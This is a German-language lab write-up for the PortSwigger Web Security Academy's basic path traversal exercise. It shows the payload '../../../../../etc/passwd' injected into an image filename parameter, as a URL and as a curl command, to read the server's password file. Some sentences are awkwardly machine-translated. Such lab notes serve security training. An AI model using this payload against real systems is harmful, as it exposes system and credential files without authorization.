> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/path-traversal/basic-path-traversal.md).

# Einfache Path Traversal

Notizen zu einfacher Path Traversal für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Dateipfad-Traversal, einfacher Fall

Dieses Labor zeigt eine Path-Traversal-Schwachstelle beim Anzeigen von Produktbildern. / Um dies zu beheben, greifen Sie einfach auf den Inhalt von **/etc/passwd** Datei vorhanden sind.

Die Bilder werden mithilfe eines **Dateinamen** Parameter ist:

```bash
/image?filename=53.jpg
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1708318fdef88340bcc011a782ab57c794a85b4%2Fimage%20(249).png?alt=media" alt=""><figcaption></figcaption></figure>

Indem Sie diesen Dateinamen durch eine Sequenz ersetzen, die es Ihnen ermöglicht, im Verzeichnisbaum nach oben zu gehen, können Sie Systemdateien anvisieren:

```bash
/image?filename=../../../../../etc/passwd
```

Beispiel mit **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

Diese Nutzlast zeigt den Inhalt der passwd-Datei an und löst damit das Labor.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb4ccdb8c0f97f35787955ce336c2c460f96d84%2Fimage%20(250).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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